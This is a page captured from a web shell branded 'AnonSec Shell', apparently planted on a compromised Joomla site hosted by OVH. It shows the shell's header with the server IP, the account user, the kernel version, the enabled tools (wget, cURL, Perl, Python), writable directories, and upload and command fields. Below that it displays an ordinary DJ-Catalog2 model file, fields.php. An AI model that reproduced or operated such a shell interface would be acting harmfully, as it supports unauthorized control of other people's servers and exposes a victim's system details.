AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/biarritz/administrator/components/com_djcatalog2/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/biarritz/administrator/components/com_djcatalog2/models/fields.php
<?php
/**
 * @package DJ-Catalog2
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */


// no direct access
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\CMS\Language\Associations;
jimport('joomla.application.component.modellist');

class Djcatalog2ModelFields extends ListModel
{
	public function __construct($config = array())
	{
		if (empty($config['filter_fields'])) {
			$config['filter_fields'] = array(
				'id', 'a.id',
				'name', 'a.name',
				'alias', 'a.alias',
				'ordering', 'a.ordering',
				'published', 'a.published',
				'language', 'a.language',
				'filter_fieldgroup', 'fieldgroup',
				'group_name', 'a.type',
				'association',
			);
		}

		parent::__construct($config);
	}
	protected function populateState($ordering = null, $direction = null)
	{
		// List state information.
		parent::populateState('a.name', 'asc');

		// Initialise variables.
		$app = Factory::getApplication();
		$session = Factory::getSession();

		$search = $this->getUserStateFromRequest($this->context.'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$published = $this->getUserStateFromRequest($this->context.'.filter.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$fieldgroup = $this->getUserStateFromRequest($this->context.'.filter.fieldgroup', 'filter_fieldgroup', '');
		$this->setState('filter.fieldgroup', $fieldgroup);

		// Load the parameters.
		$params = ComponentHelper::getParams('com_djcatalog2');
		$this->setState('params', $params);

		$language = $this->getUserStateFromRequest($this->context.'.filter.language', 'filter_language', '');
		$this->setState('filter.language', $language);

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Adjust the context to support forced languages.
		$forcedLanguage = $app->input->get('forcedLanguage', '', 'CMD');
		if ($forcedLanguage)
		{
			$this->context .= '.' . $forcedLanguage;
		}

		parent::populateState($ordering, $direction);

		// If there's a forced language then define that filter for the query where clause
		if (!empty($forcedLanguage))
		{
			$this->setState('filter.language', $forcedLanguage);
		}
	}

	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id	.= ':'.$this->getState('filter.search');
		$id	.= ':'.$this->getState('filter.published');
		$id	.= ':'.$this->getState('filter.fieldgroup');
		$id	.= ':'.$this->getState('filter.language');

		return parent::getStoreId($id);
	}

	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.*'
			)
		);
		$query->from('#__djc2_items_extra_fields AS a');

		$query->select('g.name AS group_name');
		$query->join('LEFT', '#__djc2_items_extra_fields_groups AS g ON g.id = a.group_id');

		// Filter by published state
		$published = $this->getState('filter.published');
		if (is_numeric($published)) {
			$query->where('a.published = ' . (int) $published);
		}
		else if ($published === '') {
			$query->where('(a.published = 0 OR a.published = 1)');
		}


		// Filter by search in title.
		$search = $this->getState('filter.search');
		if (!empty($search)) {
			if (stripos($search, 'id:') === 0) {
				$query->where('a.id = '.(int) substr($search, 3));
			}
			else {
				$search = $db->quote('%'.$db->escape($search, true).'%');
				$query->where('(a.name LIKE '.$search.' OR a.alias LIKE '.$search.')');
			}
		}

		$fieldgroup = $this->getState('filter.fieldgroup');
		if (is_numeric($fieldgroup) && $fieldgroup != 0) {
			$query->where('a.group_id = ' . (int) $fieldgroup);
		}

		// Multilang
		// Join over the associations - we just want to know if there are any, at this stage
		if (Associations::isEnabled())
		{
			$query->select('COUNT(asso2.id)>1 as association')
				->join('LEFT', '#__associations AS asso ON asso.id = a.id AND asso.context=' . $db->quote('com_djcatalog2.field'))
				->join('LEFT', '#__associations AS asso2 ON asso2.key = asso.key')
				->group('a.id');
		}

		$query
			->select(array('l.title AS language_title', 'l.image AS language_image'))
			->join('LEFT', $db->quoteName('#__languages', 'l') . ' ON lang_code = a.language');

		// Filter by lang
		$app = Factory::getApplication();
		$requestLang = $app->input->get('language');
		$lang = $this->getState('filter.language');
		if($requestLang) {
			$query->where('a.language = ' . $db->quote($requestLang));
		}elseif ($lang) {
			$query->where('a.language = ' . $db->quote($lang));
		}

		// Add the list ordering clause.
		$orderCol	= $this->state->get('list.ordering', 'a.id');
		$orderDirn	= $this->state->get('list.direction', 'DESC');
		if ($orderCol == 'a.ordering' || $orderCol == 'group_name') {
			$orderCol = 'group_name '.$orderDirn.', a.ordering';
		}

		$query->order($db->escape($orderCol.' '.$orderDirn));

		return $query;
	}
	public function getFieldgroups(){
		if(empty($this->_fieldgroups)) {
			$query = "SELECT * FROM #__djc2_items_extra_fields_groups ORDER BY name";
			$this->_fieldgroups = $this->_getList($query,0,0);
		}
		return $this->_fieldgroups;
	}

}

Anon7 - 2022
AnonSec Team